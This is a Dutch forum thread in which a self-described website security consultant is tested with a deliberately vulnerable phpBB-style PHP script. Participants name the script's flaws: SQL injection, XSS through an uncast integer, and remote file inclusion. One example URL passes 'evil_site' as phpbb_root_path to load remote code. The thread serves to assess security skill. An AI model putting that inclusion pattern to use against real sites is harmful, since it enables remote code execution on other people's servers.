Heb je voorbeelden van website,s die je beveiligt hebt ?

-snip-

Origineel gepost door Ivo van B.

Nee, dit lijkt me niet goed voor de naam van de website's. Ik heb meerdere website's beveiligd en tips gegeven aan de eigenaren.

ok jammer wou ff chekken of het wel echt goed is beveilig :)

-snip-

Ik heb binnekort wel intresse is een factuur mogelijk?

-snip-

Ik heb mogelijk interesse, maar wens graag even een voorbeeld van je kunsten :).
Ik heb een klein scriptje gemaakt, kan je even aangeven wat er fout is: http://paulsohier.nl/sql.phps

NOTE: Het zal veel om phpBB related dingen gaan, dus daarom ook een beetje phpBB gerelateerd scriptje.

Paul ik hoop dat hier je code er overal er niet zo is. Want dan ben je zo bankroet. Hier constateer ik nu al minimaal 3 minimale gevaren..

Origineel gepost door Jaap Marcus

Paul ik hoop dat hier je code er overal er niet zo is. Want dan ben je zo bankroet. Hier constateer ik nu al minimaal 3 minimale gevaren..

Het is een test, tuurlijk script ik niet overal zo ;). Ik ben phpBB.com MOD team member, en controleer persoonlijk dagelijks MODs op veiligheidslekken. Echter heb ik momenteel een aantal projecten persoonlijk die gedaan moeten worden en waar ik zelf niet zo veel tijd voor heb.

Hoi Ivo, eind januari komt GPmanager.com online. We zijn nu bezig met de ontwikkeling. Vooral bij zo`n managergame is de beveiliging van groot belang. Ik zal dan even contact met je opnemen. Ben je dan nog beschikbaar?

-snip-

Sorry, geen interesse.

Het maakt niet uit of je haakjes gebruikt bij require of niet, het mag allebei. Zelf prefereer ik met vanwege de leesbaarheid.
Verder is $HTTP_GET_VARS in phpBB2 verplicht, en ik veel daarmee werk is dat hier gebruikt.
Verder heb je 2 lekken gemist.
Wanneer register globals aanstaat kan je dmv $phpbb_root_path RFI gebruiken, http://www.site.com/file.php?phpbb_root_path=evil_site
Als laaste zat er dmv de niet gecaste integer XSS in de error message.


Dit was een zeer basaal script, en 1/3 van het resultaat is helaas te slecht voor mij persoonlijk.

Dit script is zo ontzettend simpel, dat als je de fouten hierin niet ziet je het niet helemaal weet waarover je hebt. Die RFI is zo duidelijk, dat diegelijk opvalt. Zelfde geld voor sql injection, en voor XSS. Als je dit script moet testen om te kijken of niet goed is, heb ik absoluut geen interesse.

-snip-